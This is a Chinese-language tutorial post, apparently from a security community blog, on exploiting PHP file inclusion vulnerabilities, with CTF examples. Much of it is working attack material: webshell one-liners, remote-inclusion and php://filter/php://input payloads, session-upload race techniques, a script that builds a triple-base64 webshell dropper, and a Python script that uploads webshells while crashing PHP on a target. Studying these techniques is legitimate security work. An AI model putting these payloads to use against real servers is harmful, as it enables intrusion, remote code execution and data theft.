PHP 文件包含漏洞
1 相关函数
- include()
- include_once()
- require()
- require_once()
2 分类
- 远程文件包含
- 本地文件包含
3 包含的实现
包含的时候,不一定是要去包含 php 文件(即可执行的 php 文件)
类似于:a.phps、a.xxx、a.jpg 只要文件中包含一块完整 php 代码,例如一个 a.txt,内容为 <?php phpinfo(); ?>
4 包含的场景
4.1 上传可控文件
- 比如说我们能够上传图片,那就去传一个带完整 php 代码的图片文件,或者是将代码文件改后缀即可
- 压缩包,配合伪协议
<?php ?>
过滤的情况:
<script language="php">@eval($_POST['a']);</script>
4.2 远程文件包含
4.2.1 条件
allow_url_fopen
本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。
4.2.2 远程文件包含
[http|https|ftp]://www.bbb.com/shell.txt
若后缀名写死,可以用 ? 绕过
pyload:
aaa.com/1.php?a
4.3 伪协议
4.3.1 PHP 归档
- phar://
- zip://
DEMO:
http://106.12.37.37/index.php?url=upload
payload:
- url=zip://a.zip#压缩包内文件名
- url=phar://a.zip/压缩包内文件名
- 上传的文件无所谓后缀名,只要是 zip 文件头的文件均可,zip 文件改成 jpg,zip:// 协议仍然可以解析
4.3.2 利用 PHP 流
4.3.2.1 php://filter
元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one) 的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
- ?file=php://filter/read=convert.base64-encode/resource=index.php
- ?file=php://filter/read=string.toupper|string.rot13/resource=index.php
除此之外,还有:
string.toupper //上面有写
string.tolower //转换为小写
string.strip_tags //去除 html 和 php 标记,比如<?php?>
convert.base64-encode //base64 编码
convert.base64-decode //base64 编码
convert.quoted-printable-encode //quoted-printable 转 8bit
convert.quoted-printable-decode //同上
DEMO:
http://chinalover.sinaapp.com/web7/index.php
4.3.2.2 php://input
- 利用条件
- allow_url_include = On
- 对 allow_url_fopen 不做要求
- php://input 可以读取没有处理过的 POST 数据
Payload:
Url: ?key=123&flag=php://input
Post: 123
4.4 日志文件
很多时候,web 服务器会将请求写入到日志文件中,比如说 apache 在用户发起请求时,会将请求写入 access error.log。默认情况下,日志保存路径在 /var/log/apache2/
www 用户无权限读取该日志,应用场景有限。
4.5 SESSION
PHP 默认生成的 session 文件往往存放在 /tmp 目录下
4.5.1 session 文件
注册一句话用户名,并包含 session 文件 http://512ab969d9ce414e9349e459f7bfe9d1b601c9951aa24093.changame.ichunqiu.com/ action.php?module=&file=../../../../../../../tmp/SESS/ sess_tftrtvb6t089398jjl0p1cdvj7&a=system("cat flag.php");
4.5.2 session.upload
session.upload_progress.enabled 这个参数在 php.ini 默认开启,需要手动配置为 OFF,如果不是 off,就会在上传的过程中生成上传进度文件,它的出现本是为了显示文件在上传时候的进度,以显示文件上传的信息。
它的存储路径可以在 phpinfo 中获取到(如上图)
Demo:
<?php
($_=@_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
?>
这个 session 文件并不一定要 session_start
才能生成,只要往服务器发送一个 Cookie: PHPSESSID=xxx
的值,然后用 session upload 的方式进行上传文件,就会生成这样一个 session 文件
通过 curl 上传文件:
curl http://IP/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'
这样就可以控制文件名,接下来想办法控制文件内容。
由于文件上传的速度比较快,有时候经常来不及看到保存在 session 文件中的 upload 信息,就会被删除。我们可以上传一个相对比较大的文件,并且条件竞争的方式。来先看一下保存在 session 中的文件内容。
这里构造了一个这样的表单,upload.php
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="iamnotorange" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
<?php
session_start();
$name = ini_get('session.upload_progress.name');
$key = ini_get('session.upload_progress.prefix') . $_POST[$name];
var_dump($_SESSION[$key]);
include '/var/lib/php/sessions/sess_iamnotorange';
然后开个多线程跑几次,就能看到通过条件竞争读出的文件内容:
可以发现文件中的 upload_progress_
固定,不可控。
接下来还有一个条件是 substr(file($_)[0],0,6) === '@<?php'
,想到利用 php 中的伪协议,进行文件内容的修改。
参考: https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1
base64 的前置知识
base64 编码后的字符串集为 [0-9a-zA-Z+/=]
因而在解码的时候遇到这个之外的字符,就会跳过那些字符。只对在此范围内的字符进行解码。
在本例中, _
作为特殊字符,在 base64 解码时会自动跳过。
所以只要对前面的 upload_progress_
进行足够多次的解密,就可以使其变成空字符
$i = 0 ;
$data = "upload_progress_";
while(true){
$i += 1;
$data = base64_decode($data);
var_dump($data);
if($data == ''){
echo "一共解码了:".$i,"次\n";
break;
}
}
通过脚本可以看到,只要三次就可以将前面的内容转换为成空。
但是,由于 base64 是对 4 个字符为一组进行解码。 upload_progress_
并不满足三次解码后允许字符是 4 的倍数(14 个有效字符,要求有效字符至少是 16 个),就会把后面的字符算入填充,从而破坏原有传入的 php 代码。
示例
function triple_base64_encode($str){
return base64_encode(base64_encode(base64_encode($str)));
}
function triple_base64_decode($str){
return base64_decode(base64_decode(base64_decode($str)));
}
$i = 0 ;
$data = "upload_progress_".triple_base64_encode("<?=\`id\`;>");
echo triple_base64_decode($data);
解码之后的数据是 ?
而 upload_progress_ZZ
在三次的解码中,第一次解码后留下了四个允许字符 hikY
,第二次解码没有允许字符,第三次就变成了空。
在这三次中,都是允许字符的数量都是 4 的倍数,这样就不会破坏后面传入的 php 代码。
爆破脚本:
<?php
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
$i = 0 ;
$data = "upload_progress_".substr(str_shuffle($str),10,2);
$s = base64_decode($data);
$s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));
$ss = base64_decode($s);
$ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));
$sss = base64_decode($ss);
if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
echo $data;
break;
}
}
对于后面的 php 代码,也有一个要求,就是三次解密中都不能出现 =
,因为 base64 中 =
只能放在编码的最后补位,出现在中间的话, php://filter/convert.base64-decode
流就无法正常解析,就会报错。
对此 oragne 师傅写了个脚本生成这玩意:
import string
from base64 import b64encode
from random import sample, randint
payload = "@<?php file_put_contents('/tmp/web', '@<?php eval($_GET[1])?>'); ?>"
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print(xxx)
break
VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6
4.6 ./ 长文件名截断
payload:?page=phpinfo.txt………………………………………………………………………………………………….. 或 page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
4.7 phpinfo
向服务器上任意 php 文件以 form-data 式提交请求上传数据时,会生成临时文件,通过 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
4.8 PHP 自包含
- 上传 -> 临时文件
- 会话结束 -> 删除临时文件
- phpinfo() -> 临时文件名
- 中断删除的过程 /a.php?include=a.php 这样 a.php 会将它自身包含进来,而被包含进来的 a.php 再次尝试处理 url 的包含请求时,再次将自己包含进来,形成了无穷递归,递归会导致爆栈,使 php 无法进行此次请求的后续处理,然后就能进行包含了
- 自包含,导致 php 停止
demo:
「百度杯」CTF 比赛 十二月场 - Blog 进阶版
- 注册账号,POST 页面存在 insert 型 SQL 注入获取管理员账号
- 登录 admin 账号,发现 manage 页面下存在包含
- 利用自包含漏洞,在 tmp 文件夹下上传 webshell
4.9 PHP 崩溃
本地文件包含漏洞可以让 php 包含自身从而导致死循环然后 php 就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
- include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
可以导致 php 在执行过程中 Segment Fault 想到可以利用在本地文件包含漏洞中 之前在网上的分析文章中,本地文件包含漏洞可以让 php 包含自身从而导致死循环 然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = string.digits + string.letters
host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e
def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__ == "__main__":
main()
5 总结
当一个目标存在任意文件包含漏洞的时候,但找不到可以包含的文件,无法 getshell。可以有三种方法:
- 借用 phpinfo,包含临时文件来 getshell
- 利用 PHP_SESSION_UPLOAD_PROGRESS,包含 session 文件来 getshell
- 利用一个可以使 PHP 挂掉的漏洞(如内存漏洞等),使 PHP 停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来 getshell。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: MS14-068 漏洞分析
下一篇: 彻底找到 Tomcat 启动速度慢的元凶
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论